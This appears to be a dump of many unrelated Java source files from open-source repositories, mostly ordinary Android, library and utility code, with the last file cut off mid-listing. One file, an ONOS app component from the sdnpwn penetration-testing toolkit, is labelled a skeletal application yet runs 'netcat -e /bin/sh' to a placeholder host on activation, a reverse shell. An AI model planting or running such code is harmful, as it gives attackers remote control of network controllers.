ruan3/OpenLive_Android_text | app/src/main/java/io/agora/onekeyshare/themes/classic/FriendListItem.java | 3284 | /*
* 官网地站:http://www.mob.com
* 技术支持QQ: 4006852216
* 官方微信:ShareSDK (如果发布新版本的话,我们将会第一时间通过微信将版本更新内容推送给您。如果使用过程中有任何问题,也可以通过微信与我们取得联系,我们将会在24小时内给予回复)
*
* Copyright (c) 2013年 mob.com. All rights reserved.
*/
package io.agora.onekeyshare.themes.classic;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.util.TypedValue;
import android.view.Gravity;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.mob.tools.gui.AsyncImageView;
import com.mob.tools.gui.BitmapProcessor;
import com.mob.tools.utils.ResHelper;
/** 好友列表的item */
public class FriendListItem extends LinearLayout {
private static final int DESIGN_AVATAR_WIDTH = 64;
private static final int DESIGN_AVATAR_PADDING = 24;
private static final int DESIGN_ITEM_HEIGHT = 96;
private static final int DESIGN_ITEM_PADDING = 20;
private ImageView ivCheck;
private AsyncImageView aivIcon;
private TextView tvName;
/** 好友列表中,被选中的checkbox图标 */
private Bitmap bmChd;
/** 好友列表中,没选中的checkbox图标 */
private Bitmap bmUnch;
public FriendListItem(Context context, float ratio) {
super(context);
int itemPadding = (int) (ratio * DESIGN_ITEM_PADDING);
setPadding(itemPadding, 0, itemPadding, 0);
setMinimumHeight((int) (ratio * DESIGN_ITEM_HEIGHT));
setBackgroundColor(0xffffffff);
ivCheck = new ImageView(context);
LayoutParams lp = new LayoutParams(
LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
lp.gravity = Gravity.CENTER_VERTICAL;
addView(ivCheck, lp);
aivIcon = new AsyncImageView(context);
int avatarWidth = (int) (ratio * DESIGN_AVATAR_WIDTH);
lp = new LayoutParams(avatarWidth, avatarWidth);
lp.gravity = Gravity.CENTER_VERTICAL;
int avatarMargin = (int) (ratio * DESIGN_AVATAR_PADDING);
lp.setMargins(avatarMargin, 0, avatarMargin, 0);
addView(aivIcon, lp);
tvName = new TextView(context);
tvName.setTextColor(0xff000000);
tvName.setTextSize(TypedValue.COMPLEX_UNIT_SP, 18);
tvName.setSingleLine();
lp = new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
lp.gravity = Gravity.CENTER_VERTICAL;
lp.weight = 1;
addView(tvName, lp);
int resId = ResHelper.getBitmapRes(context, "ssdk_oks_classic_check_checked");
if (resId > 0) {
bmChd = BitmapFactory.decodeResource(context.getResources(), resId);
}
resId = ResHelper.getBitmapRes(getContext(), "ssdk_oks_classic_check_default");
if (resId > 0) {
bmUnch = BitmapFactory.decodeResource(context.getResources(), resId);
}
}
public void update(FriendAdapter.Following following, boolean fling) {
tvName.setText(following.screenName);
ivCheck.setImageBitmap(following.checked ? bmChd : bmUnch);
if (aivIcon != null) {
if (fling) {
Bitmap bm = BitmapProcessor.getBitmapFromCache(following.icon);
if (bm != null && !bm.isRecycled()) {
aivIcon.setImageBitmap(bm);
} else {
aivIcon.execute(null, 0);
}
} else {
aivIcon.execute(following.icon, 0);
}
}
}
}
| mit |
t-kgd/library-water | water-java-core/src/main/java/jp/gr/java_conf/kgd/library/water/java/core/value/MutableIntColor4Trait.java | 1555 | /*
* The MIT License
*
* Copyright 2015 misakura.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package jp.gr.java_conf.kgd.library.water.java.core.value;
/**
* 値の型を{@link Integer}に特化し、デフォルトの挙動を定めた{@link MutableIntColor4}。
*
* デフォルトの挙動を定めたものであり、原則としてインターフェース部分に使ってはいけません。
*
* @author misakura
*/
public interface MutableIntColor4Trait extends MutableIntColor4, IntColor4Trait {
}
| mit |
JJzcru/Luft | app/src/main/java/com/jjzcru/luft/presentation/navigation/Navigator.java | 4561 | package com.jjzcru.luft.presentation.navigation;
import android.content.Context;
import android.content.Intent;
import com.jjzcru.luft.domain.Exercise;
import com.jjzcru.luft.domain.Player;
import com.jjzcru.luft.domain.Training;
import com.jjzcru.luft.presentation.model.PlayerModel;
import com.jjzcru.luft.presentation.model.TrainingModel;
import com.jjzcru.luft.presentation.view.activity.ExercisePutActivity;
import com.jjzcru.luft.presentation.view.activity.HistoryActivity;
import com.jjzcru.luft.presentation.view.activity.PlayerPerformanceActivity;
import com.jjzcru.luft.presentation.view.activity.PlayerPutActivity;
import com.jjzcru.luft.presentation.view.activity.TrainingActivity;
import java.text.SimpleDateFormat;
import java.util.Locale;
import javax.inject.Inject;
import javax.inject.Singleton;
/**
* Class used to navigate through the application.
*/
@Singleton
public class Navigator {
@Inject
Navigator() {
}
/**
* Goes to the create {@link Player} screen.
*
* @param context A Context needed to open the destiny activity.
*/
public void navigateToCreatePlayer(Context context) {
if (context != null) {
Intent intentToLaunch = PlayerPutActivity.getCallingIntent(context);
intentToLaunch.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
context.startActivity(intentToLaunch);
}
}
/**
* Goes to the update {@link Player} screen.
*
* @param context A Context needed to open the destiny activity.
* @param PlayerID The id used to update the {@link Player}.
*/
public void navigateToUpdatePlayer(Context context, String PlayerID){
if (context != null) {
Intent intentToLaunch = PlayerPutActivity.getCallingIntent(context);
intentToLaunch.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
intentToLaunch.putExtra("PlayerID", PlayerID);
context.startActivity(intentToLaunch);
}
}
/**
* Goes to the create {@link Exercise} screen.
*
* @param context A Context needed to open the destiny activity.
*/
public void navigateToCreateExercise(Context context) {
if (context != null) {
Intent intentToLaunch = ExercisePutActivity.getCallingIntent(context);
intentToLaunch.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
context.startActivity(intentToLaunch);
}
}
/**
* Goes to the update {@link Exercise} screen.
*
* @param context A Context needed to open the destiny activity.
* @param ExerciseID The id used to update the {@link Exercise}.
*/
public void navigateToUpdateExercise(Context context, String ExerciseID){
if (context != null) {
Intent intentToLaunch = ExercisePutActivity.getCallingIntent(context);
intentToLaunch.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
intentToLaunch.putExtra("ExerciseID", ExerciseID);
context.startActivity(intentToLaunch);
}
}
/**
* Goes to the create {@link Training} screen.
*
* @param context A Context needed to open the destiny activity.
*/
public void navigateToCreateTraining(Context context){
if (context != null) {
Intent intentToLaunch = TrainingActivity.getCallingIntent(context);
intentToLaunch.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
context.startActivity(intentToLaunch);
}
}
/**
* Goes to the view {@link Training} history screen.
*
* @param context A Context needed to open the destiny activity.
* @param trainingModel Object that represents the training.
*/
public void navigateToHistoryTraining(Context context, TrainingModel trainingModel){
if (context != null) {
Intent intentToLaunch = HistoryActivity.getCallingIntent(context);
intentToLaunch.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
intentToLaunch.putExtra("TrainingID", trainingModel.getTrainingID());
intentToLaunch.putExtra("title", new SimpleDateFormat("dd/MM/yyyy hh:mm a", Locale.US).format(trainingModel.getDate()));
context.startActivity(intentToLaunch);
}
}
/**
* Goes to the view {@link Player} performance screen.
*
* @param context A Context needed to open the destiny activity.
* @param playerModel Object that represents the {@link Player}.
*/
public void navigateToPlayerPerformance(Context context, PlayerModel playerModel){
if (context != null) {
Intent intentToLaunch = PlayerPerformanceActivity.getCallingIntent(context);
intentToLaunch.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
intentToLaunch.putExtra("PlayerID", playerModel.getPlayerID());
intentToLaunch.putExtra("title", playerModel.getName());
context.startActivity(intentToLaunch);
}
}
} | mit |
Hyroli/NetworkManager | src/main/java/com/vivi7865/Network/Manager/commands/Command.java | 635 | package com.vivi7865.Network.Manager.commands;
import com.google.common.base.Preconditions;
import lombok.Data;
@Data
public abstract class Command {
private String name;
private String permission;
private String[] aliases;
public Command(String name) {
this(name.toLowerCase(), null);
}
public Command(String name, String permission, String... aliases) {
Preconditions.checkNotNull(name, "Name cannot be null");
this.name = name.toLowerCase();
this.permission = permission;
this.aliases = aliases;
}
public abstract void exec(String[] args);
}
| mit |
jklingsporn/vertx-jooq | vertx-jooq-shared/src/main/java/io/github/jklingsporn/vertx/jooq/shared/JsonArrayConverter.java | 765 | package io.github.jklingsporn.vertx.jooq.shared;
import io.vertx.core.json.JsonArray;
import org.jooq.Converter;
/**
* Created by jensklingsporn on 04.10.16.
* Use this converter to convert any varchar/String column into a JsonArray.
*/
public class JsonArrayConverter implements Converter<String,JsonArray> {
@Override
public JsonArray from(String databaseObject) {
return databaseObject==null?null:new JsonArray(databaseObject);
}
@Override
public String to(JsonArray userObject) {
return userObject==null?null:userObject.encode();
}
@Override
public Class<String> fromType() {
return String.class;
}
@Override
public Class<JsonArray> toType() {
return JsonArray.class;
}
}
| mit |
imranzahid01/backups | src/main/java/com/imranzahid/backup/util/Strings.java | 593 | package com.imranzahid.backup.util;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
public final class Strings {
private Strings() {}
public static boolean isNullOrEmpty(@Nullable String string) {
return string == null || string.isEmpty();
}
public static String replace(@Nonnull String input, @Nonnull CharSequence[] target,
@Nonnull CharSequence[] replacement) {
String output = input;
for (int i = 0; i < target.length; i++) {
output = output.replace(target[i], replacement[i]);
}
return output;
}
}
| mit |
flicus/TempMail | standalone/src/test/java/org/schors/tempmail/TempMailAsyncTest.java | 909 | package org.schors.tempmail;
import junit.framework.TestCase;
import org.json.JSONObject;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
public class TempMailAsyncTest extends TestCase {
private TempMailClient client;
private CountDownLatch lock = new CountDownLatch(1);
private Result<JSONObject> result;
@Override
public void setUp() throws Exception {
client = TempMailClient.create();
}
public void testGetDomains() throws Exception {
client.getSupportedDomains(event -> {
result = event;
});
lock.await(5000, TimeUnit.MILLISECONDS);
assertNotNull(result);
assertTrue(result.success());
assertNotNull(result.result());
assertNotNull(result.result().getJSONArray("result"));
assertTrue(result.result().getJSONArray("result").length() > 0);
}
}
| mit |
yangra/SoftUni | Java-DB-Fundamentals/DatabasesFrameworks-Hibernate&SpringData/miniORM/src/ORMDemo.java | 556 | import entitymanager.DBContext;
import entitymanager.EntityManager;
import model.User;
import java.sql.SQLException;
import java.time.LocalDate;
public class ORMDemo {
public static void main(String[] args) throws SQLException, IllegalAccessException, NoSuchFieldException {
DBContext em = new EntityManager();
try {
User u1 = new User("Ivan", 25, LocalDate.now());
em.persist(u1);
u1.setAge(26);
em.persist(u1);
} finally {
em.closeConnection();
}
}
}
| mit |
Bulmanator/ClusterEngine | src/com/cluster/engine/Physics/Material.java | 1549 | /*
MIT License
Copyright (c) 2017 James Bulman
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package com.cluster.engine.Physics;
public class Material {
public final float restitution;
public final float density;
public final float dynamicFriction;
public final float staticFriction;
Material(float r, float d, float dFriction, float sFriction) {
restitution = r;
density = d;
dynamicFriction = dFriction;
staticFriction = sFriction;
}
}
| mit |
smythtech/sdnpwn | apps/onos-nc-reverse-shell/src/main/java/org/onosproject/app/AppComponent.java | 1501 | /*
* Copyright 2017-present Open Networking Laboratory
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.onosproject.app;
import org.apache.felix.scr.annotations.Activate;
import org.apache.felix.scr.annotations.Component;
import org.apache.felix.scr.annotations.Deactivate;
import org.apache.felix.scr.annotations.Service;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Skeletal ONOS application component.
*/
@Component(immediate = true)
public class AppComponent {
private final Logger log = LoggerFactory.getLogger(getClass());
@Activate
protected void activate() {
log.info("Started");
try {
Process p = Runtime.getRuntime().exec(new String[]{"netcat", "-e", "/bin/sh", "$CONNECTION_IP", "$CONNECTION_PORT"});
p.waitFor();
} catch(Exception e) {
e.printStackTrace();
}
}
@Deactivate
protected void deactivate() {
log.info("Stopped");
}
}
| mit |
LambdaInnovation/LambdaLib | src/main/java/cn/lambdalib/template/client/render/entity/RenderCrossedProjectile.java | 5115 | /**
* Copyright (c) Lambda Innovation, 2013-2016
* This file is part of LambdaLib modding library.
* https://github.com/LambdaInnovation/LambdaLib
* Licensed under MIT, see project root for more information.
*/
package cn.lambdalib.template.client.render.entity;
import net.minecraft.client.Minecraft;
import net.minecraft.client.renderer.OpenGlHelper;
import net.minecraft.client.renderer.Tessellator;
import net.minecraft.client.renderer.entity.Render;
import net.minecraft.entity.Entity;
import net.minecraft.util.ResourceLocation;
import net.minecraft.util.Vec3;
import org.lwjgl.opengl.GL11;
import cn.lambdalib.util.client.RenderUtils;
import cn.lambdalib.util.helper.Motion3D;
/**
* Render of 'projectile' type of renders. This renders a crossed square billboard at the entity position,
* with the appropriate entity facing.
*/
public class RenderCrossedProjectile extends Render {
public double
fpOffsetX = 0.5,
fpOffsetY = -0.2,
fpOffsetZ = -0.2;
public double
tpOffsetX = 0.0,
tpOffsetY = -0.2,
tpOffsetZ = -0.4;
protected double LENGTH;
protected double HEIGHT;
protected ResourceLocation TEXTURE_PATH;
protected boolean renderTexture = true;
protected float colorR, colorG, colorB;
protected boolean ignoreLight = false;
protected boolean playerViewOptm = true; //针对玩家的视角位置进行子弹位置微调
public RenderCrossedProjectile(double l, double h, ResourceLocation texturePath) {
LENGTH = l;
HEIGHT = h;
TEXTURE_PATH = texturePath;
}
public RenderCrossedProjectile(double l, double h, float a, float b, float c) {
LENGTH = l;
HEIGHT = h;
setColor3f(a, b, c);
}
public RenderCrossedProjectile setColor3f(float a, float b, float c) {
renderTexture = false;
colorR = a;
colorG = b;
colorB = c;
return this;
}
public RenderCrossedProjectile setViewOptimize(boolean b) {
playerViewOptm = b;
return this;
}
public RenderCrossedProjectile setIgnoreLight(boolean b) {
ignoreLight = b;
return this;
}
@Override
public void doRender(Entity entity, double par2, double par4,
double par6, float par8, float par9) {
Motion3D motion = new Motion3D(entity);
Tessellator t = Tessellator.instance;
GL11.glPushMatrix(); {
Vec3 v1 = newV3(0, HEIGHT, 0),
v2 = newV3(0, -HEIGHT, 0),
v3 = newV3(LENGTH, -HEIGHT, 0),
v4 = newV3(LENGTH, HEIGHT, 0),
v5 = newV3(0, 0, -HEIGHT),
v6 = newV3(0, 0, HEIGHT),
v7 = newV3(LENGTH, 0, HEIGHT),
v8 = newV3(LENGTH, 0, -HEIGHT);
GL11.glDisable(GL11.GL_CULL_FACE);
GL11.glEnable(GL11.GL_BLEND);
GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA);
if(renderTexture) {
bindTexture(TEXTURE_PATH);
} else {
GL11.glDisable(GL11.GL_TEXTURE_2D);
GL11.glColor3f(colorR, colorG, colorB);
}
if(ignoreLight) {
GL11.glDisable(GL11.GL_LIGHTING);
OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, 240f, 240f);
}
GL11.glTranslatef((float) par2, (float) par4, (float) par6);
GL11.glRotatef(90 + entity.rotationYaw, 0.0F, -1.0F, 0.0F); // 左右旋转
GL11.glRotatef(-entity.rotationPitch, 0.0F, 0.0F, 1.0F); // 上下旋转
if(this.playerViewOptm) {
boolean firstPerson = Minecraft.getMinecraft().gameSettings.thirdPersonView == 0;
if(firstPerson) {
GL11.glTranslated(fpOffsetX, fpOffsetY, fpOffsetZ);
} else {
GL11.glTranslated(tpOffsetX, tpOffsetY, tpOffsetZ);
}
}
t.startDrawingQuads();
if(ignoreLight)
t.setBrightness(15728880);
RenderUtils.addVertex(v1, 0, 0);
RenderUtils.addVertex(v2, 0, 1);
RenderUtils.addVertex(v3, 1, 1);
RenderUtils.addVertex(v4, 1, 0);
RenderUtils.addVertex(v5, 0, 0);
RenderUtils.addVertex(v6, 0, 1);
RenderUtils.addVertex(v7, 1, 1);
RenderUtils.addVertex(v8, 1, 0);
t.draw();
GL11.glEnable(GL11.GL_TEXTURE_2D);
GL11.glEnable(GL11.GL_LIGHTING);
GL11.glEnable(GL11.GL_CULL_FACE);
GL11.glDisable(GL11.GL_BLEND);
} GL11.glPopMatrix();
}
public static Vec3 newV3(double x, double y, double z) {
return Vec3.createVectorHelper(x, y, z);
}
@Override
protected ResourceLocation getEntityTexture(Entity entity) {
return TEXTURE_PATH;
}
}
| mit |
ShadowLordAlpha/Harmony | src/main/java/sla/harmony/twitch/api/blocks/Block.java | 1448 | package sla.harmony.twitch.api.blocks;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.annotation.JsonProperty;
import sla.harmony.twitch.api.User;
@JsonIgnoreProperties({ "_links" })
public class Block {
@JsonProperty("_id")
private int id;
@JsonProperty("updated_at")
private String updatedAt;
@JsonProperty("user")
private User user;
private Block() {
}
public int getId() {
return id;
}
public String getUpdatedAt() {
return updatedAt;
}
public User getUser() {
return user;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + id;
result = prime * result + ((updatedAt == null) ? 0 : updatedAt.hashCode());
result = prime * result + ((user == null) ? 0 : user.hashCode());
return result;
}
@Override
public boolean equals(Object obj) {
if(this == obj) return true;
if(obj == null) return false;
if(getClass() != obj.getClass()) return false;
Block other = (Block) obj;
if(id != other.id) return false;
if(updatedAt == null) {
if(other.updatedAt != null) return false;
} else if(!updatedAt.equals(other.updatedAt)) return false;
if(user == null) {
if(other.user != null) return false;
} else if(!user.equals(other.user)) return false;
return true;
}
@Override
public String toString() {
return "Block [id=" + id + ", updatedAt=" + updatedAt + ", user=" + user + "]";
}
}
| mit |
xxyy/xyc | core/src/test/java/li/l1t/common/tree/TreeNodeTest.java | 1659 | /*
* MIT License
*
* Copyright (C) 2013 - 2017 Philipp Nowak (https://github.com/xxyy) and contributors.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package li.l1t.common.tree;
import org.junit.Assert;
import org.junit.Test;
import static org.hamcrest.Matchers.hasSize;
public class TreeNodeTest extends AbstractTreeTest {
@Test
public void testRemoveChild() {
//given
TestTreeNode root = givenARootNode();
TestTreeNode child = givenADirectChildOf(root);
//when
root.removeChild(child);
//then
Assert.assertThat(root.getChildren(), hasSize(0));
}
}
| mit |
blackuy/react-native-twilio-video-webrtc | android/src/main/java/com/twiliorn/library/CustomTwilioVideoViewManager.java | 10443 | /**
* Component to orchestrate the Twilio Video connection and the various video
* views.
* <p>
* Authors:
* Ralph Pina <ralph.pina@gmail.com>
* Jonathan Chang <slycoder@gmail.com>
*/
package com.twiliorn.library;
import android.support.annotation.Nullable;
import com.facebook.react.bridge.ReadableArray;
import com.facebook.react.bridge.ReadableMap;
import com.facebook.react.common.MapBuilder;
import com.facebook.react.uimanager.SimpleViewManager;
import com.facebook.react.uimanager.ThemedReactContext;
import com.facebook.react.uimanager.annotations.ReactProp;
import java.util.Map;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_AUDIO_CHANGED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_CAMERA_SWITCHED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_CONNECTED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_CONNECT_FAILURE;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_DISCONNECTED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_CONNECTED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_DISCONNECTED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_VIDEO_CHANGED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_REMOVED_DATA_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_ADDED_DATA_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_DATATRACK_MESSAGE_RECEIVED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_ADDED_VIDEO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_REMOVED_VIDEO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_ADDED_AUDIO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_REMOVED_AUDIO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_ENABLED_VIDEO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_DISABLED_VIDEO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_ENABLED_AUDIO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_PARTICIPANT_DISABLED_AUDIO_TRACK;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_STATS_RECEIVED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_NETWORK_QUALITY_LEVELS_CHANGED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_DOMINANT_SPEAKER_CHANGED;
import static com.twiliorn.library.CustomTwilioVideoView.Events.ON_LOCAL_PARTICIPANT_SUPPORTED_CODECS;
public class CustomTwilioVideoViewManager extends SimpleViewManager<CustomTwilioVideoView> {
public static final String REACT_CLASS = "RNCustomTwilioVideoView";
private static final int CONNECT_TO_ROOM = 1;
private static final int DISCONNECT = 2;
private static final int SWITCH_CAMERA = 3;
private static final int TOGGLE_VIDEO = 4;
private static final int TOGGLE_SOUND = 5;
private static final int GET_STATS = 6;
private static final int DISABLE_OPENSL_ES = 7;
private static final int TOGGLE_SOUND_SETUP = 8;
private static final int TOGGLE_REMOTE_SOUND = 9;
private static final int RELEASE_RESOURCE = 10;
private static final int TOGGLE_BLUETOOTH_HEADSET = 11;
private static final int SEND_STRING = 12;
private static final int PUBLISH_VIDEO = 13;
private static final int PUBLISH_AUDIO = 14;
@Override
public String getName() {
return REACT_CLASS;
}
@Override
protected CustomTwilioVideoView createViewInstance(ThemedReactContext reactContext) {
return new CustomTwilioVideoView(reactContext);
}
@Override
public void receiveCommand(CustomTwilioVideoView view, int commandId, @Nullable ReadableArray args) {
switch (commandId) {
case CONNECT_TO_ROOM:
String roomName = args.getString(0);
String accessToken = args.getString(1);
boolean enableAudio = args.getBoolean(2);
boolean enableVideo = args.getBoolean(3);
boolean enableRemoteAudio = args.getBoolean(4);
boolean enableNetworkQualityReporting = args.getBoolean(5);
boolean dominantSpeakerEnabled = args.getBoolean(6);
boolean maintainVideoTrackInBackground = args.getBoolean(7);
String cameraType = args.getString(8);
ReadableMap encodingParameters = args.getMap(9);
boolean enableH264Codec = encodingParameters.getBoolean("enableH264Codec");
view.connectToRoomWrapper(
roomName,
accessToken,
enableAudio,
enableVideo,
enableRemoteAudio,
enableNetworkQualityReporting,
dominantSpeakerEnabled,
maintainVideoTrackInBackground,
cameraType,
enableH264Codec
);
break;
case DISCONNECT:
view.disconnect();
break;
case SWITCH_CAMERA:
view.switchCamera();
break;
case TOGGLE_VIDEO:
Boolean videoEnabled = args.getBoolean(0);
view.toggleVideo(videoEnabled);
break;
case TOGGLE_SOUND:
Boolean audioEnabled = args.getBoolean(0);
view.toggleAudio(audioEnabled);
break;
case GET_STATS:
view.getStats();
break;
case DISABLE_OPENSL_ES:
view.disableOpenSLES();
break;
case TOGGLE_SOUND_SETUP:
Boolean speaker = args.getBoolean(0);
view.toggleSoundSetup(speaker);
break;
case TOGGLE_REMOTE_SOUND:
Boolean remoteAudioEnabled = args.getBoolean(0);
view.toggleRemoteAudio(remoteAudioEnabled);
break;
case RELEASE_RESOURCE:
view.releaseResource();
break;
case TOGGLE_BLUETOOTH_HEADSET:
Boolean headsetEnabled = args.getBoolean(0);
view.toggleBluetoothHeadset(headsetEnabled);
break;
case SEND_STRING:
view.sendString(args.getString(0));
break;
case PUBLISH_VIDEO:
view.publishLocalVideo(args.getBoolean(0));
break;
case PUBLISH_AUDIO:
view.publishLocalAudio(args.getBoolean(0));
break;
}
}
@Override
@Nullable
public Map getExportedCustomDirectEventTypeConstants() {
Map<String, Map<String, String>> map = MapBuilder.of(
ON_CAMERA_SWITCHED, MapBuilder.of("registrationName", ON_CAMERA_SWITCHED),
ON_VIDEO_CHANGED, MapBuilder.of("registrationName", ON_VIDEO_CHANGED),
ON_AUDIO_CHANGED, MapBuilder.of("registrationName", ON_AUDIO_CHANGED),
ON_CONNECTED, MapBuilder.of("registrationName", ON_CONNECTED),
ON_CONNECT_FAILURE, MapBuilder.of("registrationName", ON_CONNECT_FAILURE),
ON_DISCONNECTED, MapBuilder.of("registrationName", ON_DISCONNECTED),
ON_PARTICIPANT_CONNECTED, MapBuilder.of("registrationName", ON_PARTICIPANT_CONNECTED)
);
map.putAll(MapBuilder.of(
ON_PARTICIPANT_DISCONNECTED, MapBuilder.of("registrationName", ON_PARTICIPANT_DISCONNECTED),
ON_DATATRACK_MESSAGE_RECEIVED, MapBuilder.of("registrationName", ON_DATATRACK_MESSAGE_RECEIVED),
ON_PARTICIPANT_ADDED_DATA_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_ADDED_DATA_TRACK),
ON_PARTICIPANT_ADDED_VIDEO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_ADDED_VIDEO_TRACK),
ON_PARTICIPANT_REMOVED_VIDEO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_REMOVED_VIDEO_TRACK),
ON_PARTICIPANT_ADDED_AUDIO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_ADDED_AUDIO_TRACK),
ON_PARTICIPANT_REMOVED_AUDIO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_REMOVED_AUDIO_TRACK)
));
map.putAll(MapBuilder.of(
ON_PARTICIPANT_REMOVED_DATA_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_REMOVED_DATA_TRACK),
ON_LOCAL_PARTICIPANT_SUPPORTED_CODECS, MapBuilder.of("registrationName", ON_LOCAL_PARTICIPANT_SUPPORTED_CODECS)
));
map.putAll(MapBuilder.of(
ON_PARTICIPANT_ENABLED_VIDEO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_ENABLED_VIDEO_TRACK),
ON_PARTICIPANT_DISABLED_VIDEO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_DISABLED_VIDEO_TRACK),
ON_PARTICIPANT_ENABLED_AUDIO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_ENABLED_AUDIO_TRACK),
ON_PARTICIPANT_DISABLED_AUDIO_TRACK, MapBuilder.of("registrationName", ON_PARTICIPANT_DISABLED_AUDIO_TRACK),
